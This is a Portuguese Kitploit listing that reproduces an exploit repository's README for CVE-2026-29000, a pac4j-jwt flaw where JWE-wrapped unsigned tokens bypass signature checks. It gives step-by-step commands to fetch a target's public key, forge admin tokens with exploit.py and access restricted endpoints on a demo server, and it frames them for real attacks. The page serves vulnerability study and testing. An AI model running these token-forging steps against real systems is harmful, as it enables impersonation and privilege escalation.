Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

FeedsContatoPrivacidade© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
cve-2026-29000 — Exploit para CVE-2026-29000, uma bypass de autenticação JWT no pac4j-jwt via PlainJWT encapsulado em JWE, permitindo falsificação de tokens e escalonamento de privilégios. | Kitploit
Ferramentas/GitHubGitHub/rootx111/cve-2026-29000
Autenticação e AutorizaçãoAnálise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoAprendizado e Educação
GitHubrootx111/cve-2026-29000

cve-2026-29000

Exploit para CVE-2026-29000, uma bypass de autenticação JWT no pac4j-jwt via PlainJWT encapsulado em JWE, permitindo falsificação de tokens e escalonamento de privilégios.

Ver Repositório
2130há 8 mesesAinda não revisado
Compartilhar

Exploit CVE-2026-29000

Bypass de Autenticação JWT no pac4j-jwt via PlainJWT encapsulado em JWE

Descrição da Vulnerabilidade

A CVE-2026-29000 é uma vulnerabilidade crítica de bypass de autenticação que afeta as versões do pac4j-jwt anteriores a 4.5.9, 5.7.9 e 6.3.3. A vulnerabilidade permite que atacantes remotos forjem tokens de autenticação e contornem a verificação de assinatura.

Detalhes Técnicos

A vulnerabilidade existe no componente JwtAuthenticator ao processar JWTs criptografados (JWE). Quando um token JWE é recebido:

  1. O servidor descriptografa o JWE usando sua chave privada RSA
  2. O conteúdo descriptografado revela um JWT interno
  3. VULNERABILIDADE: O servidor extrai as claims do JWT interno sem verificar sua assinatura
  4. Atacantes podem criar um JWE que encapsula um PlainJWT (algoritmo: "none") com claims arbitrárias

Requisitos do Ataque

  • Acesso à chave pública RSA do servidor (frequentemente exposta via endpoint JWKS)
  • Capacidade de enviar tokens forjados para a aplicação vulnerável

Impacto

  • Bypass completo de autenticação: Atacantes podem autenticar como qualquer usuário
  • Escalação de privilégios: Podem atribuir papéis arbitrários, incluindo papéis de administrador
  • Sequestro de sessão: Podem se passar por usuários legítimos sem credenciais

Versões Afetadas

  • pac4j-jwt < 4.5.9
  • pac4j-jwt < 5.7.9
  • pac4j-jwt < 6.3.3

Conteúdo do Repositório

  • exploit.py - Script de exploit em Python para gerar tokens maliciosos
  • vulnerable_server.py - Servidor de demonstração simulando a vulnerabilidade
  • requirements.txt - Dependências Python
  • README.md - Este arquivo

Instalação

Pré-requisitos

  • Python 3.8 ou superior
  • Gerenciador de pacotes pip

Configuração

# Clone o repositório
git clone https://github.com/RootX111/cve-2026-29000.git
cd cve-2026-29000

# Instale as dependências
pip3 install -r requirements.txt

Uso

Passo 1: Inicie o Servidor de Teste Vulnerável

python3 vulnerable_server.py

O servidor irá:

  • Gerar um par de chaves RSA (salvo em server_private.pem e server_public.pem)
  • Iniciar em http://127.0.0.1:5000
  • Expor a chave pública em http://127.0.0.1:5000/public-key

Passo 2: Obtenha a Chave Pública do Alvo

Em um cenário de ataque real, obtenha a chave pública do servidor alvo:

# Baixe a chave pública do endpoint JWKS
curl http://target-server.com/jwks > target_jwks.json

# Ou endpoint direto da chave pública
curl http://target-server.com/public-key > target_public.pem

Para o servidor de teste:

curl http://127.0.0.1:5000/public-key > server_public.pem

Passo 3: Gere o Token Malicioso

Use o script de exploit para criar um PlainJWT encapsulado em JWE:

# Uso básico - autenticar como admin
python3 exploit.py --subject admin --roles ROLE_ADMIN --public-key server_public.pem

# Autenticar como usuário específico com múltiplos papéis
python3 exploit.py --subject john.doe --roles ROLE_USER,ROLE_MANAGER --public-key server_public.pem

# Adicionar claims personalizadas
python3 exploit.py --subject admin --roles ROLE_ADMIN --public-key server_public.pem \
  --claims '{"email":"[email protected]","department":"IT"}'

# Salvar token em arquivo
python3 exploit.py --subject admin --roles ROLE_ADMIN --public-key server_public.pem \
  --output malicious_token.txt

Passo 4: Teste o Ataque

Teste Contra o Servidor Vulnerável

# Defina o token malicioso (copie da saída do exploit.py)
TOKEN="eyJhbGciOiJSU0EtT0FFUC0yNTYiLCJlbmMiOiJBMjU2R0NNIn0..."

# Acesse o endpoint público (deve funcionar)
curl http://127.0.0.1:5000/api/public

# Acesse o endpoint de usuário com token malicioso (BYPASS!)
curl -H "Authorization: Bearer $TOKEN" http://127.0.0.1:5000/api/user

# Acesse o endpoint de admin com token malicioso (ESCALAÇÃO DE PRIVILÉGIOS!)
curl -H "Authorization: Bearer $TOKEN" http://127.0.0.1:5000/api/admin

Saída esperada de sucesso do endpoint de admin:

{
  "status": "success",
  "message": "Admin endpoint accessed - RESTRICTED DATA",
  "user": "admin",
  "roles": ["ROLE_ADMIN"],
  "secret_data": "FLAG{CVE-2026-29000_JWT_BYPASS_SUCCESS}",
  "admin_info": "This is sensitive administrative data"
}

Fluxo de Ataque Completo

Comandos de Teste Completos

# 1. Instale as dependências
pip3 install -r requirements.txt

# 2. Inicie o servidor vulnerável (no terminal 1)
python3 vulnerable_server.py

# 3. Em um novo terminal, obtenha a chave pública
curl http://127.0.0.1:5000/public-key > server_public.pem

# 4. Gere o token admin malicioso
python3 exploit.py --subject admin --roles ROLE_ADMIN --public-key server_public.pem --output token.txt

# 5. Extraia o token para uma variável
TOKEN=$(cat token.txt)

# 6. Teste o endpoint público (linha de base - sem necessidade de autenticação)
curl http://127.0.0.1:5000/api/public

# 7. Teste o endpoint de usuário (deve funcionar com nosso token malicioso)
curl -H "Authorization: Bearer $TOKEN" http://127.0.0.1:5000/api/user

# 8. Teste o endpoint de admin (SUCESSO DO EXPLOIT - deve acessar dados restritos)
curl -H "Authorization: Bearer $TOKEN" http://127.0.0.1:5000/api/admin

# 9. Verifique se a resposta contém a flag
curl -s -H "Authorization: Bearer $TOKEN" http://127.0.0.1:5000/api/admin | grep -o 'FLAG{.*}'

Cenários de Ataque Avançados

Cenário 1: Personificar Usuário Específico

python3 exploit.py --subject [email protected] --roles ROLE_USER --public-key server_public.pem

Cenário 2: Escalar para Administrador

python3 exploit.py --subject attacker --roles ROLE_ADMIN,ROLE_SUPERUSER --public-key server_public.pem

Cenário 3: Injeção de Claims Personalizadas

python3 exploit.py --subject hacker --roles ROLE_ADMIN --public-key server_public.pem \
  --claims '{"email":"[email protected]","isVerified":true,"permissions":["*"]}'

Opções do Script de Exploit

usage: exploit.py [-h] [--subject SUBJECT] [--roles ROLES] [--public-key PUBLIC_KEY]
                  [--claims CLAIMS] [--generate-keypair] [--output OUTPUT]

CVE-2026-29000: Gere tokens PlainJWT maliciosos encapsulados em JWE

options:
  -h, --help            mostra esta mensagem de ajuda e sai
  --subject SUBJECT, -s SUBJECT
                        Subject (nome de usuário) a personificar
  --roles ROLES, -r ROLES
                        Lista de papéis separados por vírgula (ex.: ROLE_ADMIN,ROLE_USER)
  --public-key PUBLIC_KEY, -k PUBLIC_KEY
                        Caminho para o arquivo PEM da chave pública RSA
  --claims CLAIMS, -c CLAIMS
                        Claims adicionais como string JSON
  --generate-keypair, -g
                        Gera um par de chaves RSA de teste e salva em arquivos
  --output OUTPUT, -o OUTPUT
                        Arquivo de saída para o token gerado

Como a Vulnerabilidade Funciona

Fluxo Normal de JWT (Seguro)

1. O cliente envia JWT com assinatura
2. O servidor verifica a assinatura com a chave pública
3. Se válido, extrai as claims
4. Concede acesso com base nas claims

Fluxo Vulnerável (CVE-2026-29000)

1. O atacante obtém a chave pública RSA do servidor
2. O atacante cria um PlainJWT (alg: none) com claims arbitrárias
   Exemplo: {"sub": "admin", "roles": ["ROLE_ADMIN"]}
3. O atacante criptografa o PlainJWT usando JWE com a chave pública do servidor
4. O servidor descriptografa o JWE com sucesso
5. O servidor extrai as claims do PlainJWT interno SEM verificação de assinatura
6. O servidor concede acesso com base nas claims forjadas

Por Que Funciona

A vulnerabilidade ocorre porque:

  • O JWE fornece confidencialidade, não integridade para o conteúdo interno
  • O servidor assume que o sucesso da descriptografia implica autenticidade
  • O PlainJWT (alg: none) não possui assinatura para verificar
  • As claims são confiadas apenas por terem sido criptografadas

Mitigação

Para Desenvolvedores

Baixar ferramenta

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 O kit definitivo de OSINT: grafo de investigação, pontuação de confiança, famílias de alias, mapa, linha do tempo e relatórios. 49 módulos, mais de 400 sites, sem necessidade de chaves de API.

    755
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    # Aplicativo de Execução em Um Toque GhostLock (CVE-2026-43499)

    510
  • 3

    ARTEX

    baarai/artex

    Plataforma autônoma de testes de penetração multiagente com LLM, com agentes planejador/executor, grafos de ativos e de exploração, registro de tráfego MITM e reteste de vulnerabilidades.

    415
  • 4

    redforge

    cybersecurity91/redforge

    Kit de ferramentas de red team do lado do navegador com 102 ferramentas offline para reconhecimento, geração de payloads, ataques a credenciais, criptografia, codificação e relatórios de engajamento.

    343
  • 5

    antifox

    antifox-ai/antifox

    Plataforma de testes de penetração autónoma com multiagentes de IA que executa reconhecimento, descoberta de superfície de ataque, validação de exploração e entrega de relatórios com evidências.

    259
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    O sistema de ação para cibersegurança nativa em IA—onde a intenção se torna execução governada, a evidência se torna memória operacional, e cada operação melhora a próxima.

    258

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →